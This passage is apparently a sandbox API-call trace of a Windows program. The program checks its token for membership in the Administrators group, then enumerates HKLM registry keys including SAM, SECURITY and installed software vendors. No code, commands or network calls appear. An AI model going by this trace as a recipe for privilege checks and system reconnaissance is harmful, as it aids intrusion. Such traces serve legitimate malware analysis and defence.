0xb3b8e8 [0241.477] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0xb3b8e8, TokenInformationLength=0x104, ReturnLength=0x4ef43c | out: TokenInformation=0xb3b8e8, ReturnLength=0x4ef43c) returned 1 [0241.478] AllocateAndInitializeSid (in: pIdentifierAuthority=0x4ef44c, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x4ef444 | out: pSid=0x4ef444*=0x8c29c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0241.478] EqualSid (pSid1=0x8c29c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xb3b944*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0 [0241.478] EqualSid (pSid1=0x8c29c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xb3b950*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0241.478] EqualSid (pSid1=0x8c29c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xb3b95c*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0241.478] EqualSid (pSid1=0x8c29c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xb3b96c*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x6)) returned 0 [0241.478] EqualSid (pSid1=0x8c29c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xb3b978*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x2), SubAuthority=0x1)) returned 0 [0241.478] EqualSid (pSid1=0x8c29c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xb3b984*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb)) returned 0 [0241.478] EqualSid (pSid1=0x8c29c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xb3b990*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xf)) returned 0 [0241.478] EqualSid (pSid1=0x8c29c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xb3b99c*(Revision=0x1, SubAuthorityCount=0x6, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x50, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2c, [5]=0xbb))) returned 0 [0241.478] EqualSid (pSid1=0x8c29c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xb3b9bc*(Revision=0x1, SubAuthorityCount=0x3, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x5, [1]=0x0, [2]=0x0))) returned 0 [0241.478] EqualSid (pSid1=0x8c29c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xb3b9d0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x2), SubAuthority=0x0)) returned 0 [0241.478] EqualSid (pSid1=0x8c29c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xb3b9dc*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0241.478] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3b8e8) returned 1 [0241.478] NtClose (Handle=0xa0) returned 0x0 [0241.478] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3b8e8 [0241.479] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3b930 [0241.481] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x280) returned 0xb3b9b8 [0241.481] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0241.490] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0xb3b9b8, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0241.491] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.491] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3bce0 [0241.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0xb3bce0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0241.491] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3bd28 [0241.491] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bce0) returned 1 [0241.491] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bd28) returned 1 [0241.491] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.491] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0xb3b9b8, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0241.491] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.491] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3bd28 [0241.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0xb3bd28, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0241.491] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3bce0 [0241.491] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bd28) returned 1 [0241.491] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bce0) returned 1 [0241.491] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.491] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0xb3b9b8, cchName=0x104 | out: lpName="SAM") returned 0x0 [0241.491] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.491] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3bce0 [0241.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0xb3bce0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0241.491] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3bd28 [0241.491] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bce0) returned 1 [0241.492] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bd28) returned 1 [0241.492] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.492] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0xb3b9b8, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0241.492] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.492] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3bd28 [0241.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0xb3bd28, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0241.492] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3bce0 [0241.492] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bd28) returned 1 [0241.492] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bce0) returned 1 [0241.492] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.492] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0xb3b9b8, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0241.492] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.492] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3bce0 [0241.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0xb3bce0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0241.492] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3bd28 [0241.492] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bce0) returned 1 [0241.492] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bd28) returned 1 [0241.492] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.492] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x4ef3d4 | out: phkResult=0x4ef3d4*=0xa0) returned 0x0 [0241.492] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x184) returned 0xb3d0c8 [0241.492] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3bd28 [0241.492] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3bce0 [0241.492] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3bd70 [0241.492] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3bdb8 [0241.492] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3be00 [0241.492] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3be48 [0241.492] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3be90 [0241.492] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3bed8 [0241.492] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3bf20 [0241.493] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3bf68 [0241.493] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3bfb0 [0241.493] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3bff8 [0241.493] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c040 [0241.493] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c088 [0241.493] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c0d0 [0241.493] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c118 [0241.493] RegCloseKey (hKey=0x80000002) returned 0x0 [0241.493] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0xb3b9b8, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0241.493] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0241.493] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0xb3c160, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0241.493] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.493] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.493] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.493] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.493] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0xb3b9b8, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0241.493] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.493] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0xb3c1a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0241.493] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.493] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.493] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.493] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.493] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Classes") returned 0x0 [0241.493] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.493] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0xb3c160, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0241.493] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.493] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.494] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.494] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.494] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Clients") returned 0x0 [0241.494] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.494] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0xb3c1a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0241.494] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.494] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.494] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.494] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.494] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Intel") returned 0x0 [0241.494] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.494] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0xb3c160, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0241.494] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.494] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.494] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.494] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.494] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x5, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0241.494] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.494] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0xb3c1a8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0241.494] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.494] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.494] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.494] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.494] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x6, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0241.494] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0241.495] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0xb3c160, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0241.495] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.495] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.495] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.495] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.495] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x4ef3d4 | out: phkResult=0x4ef3d4*=0x24) returned 0x0 [0241.495] RegCloseKey (hKey=0xa0) returned 0x0 [0241.495] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0xb3b9b8, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0241.495] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0241.495] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0xb3c1a8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0241.495] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.495] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.495] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.495] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.495] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0241.495] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.495] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0xb3c160, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0241.495] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.495] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.495] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.495] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.495] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0xb3b9b8, cchName=0x104 | out: lpName="ADs") returned 0x0 [0241.496] RtlAllocateHeap (HeapHandle=0xb30000, 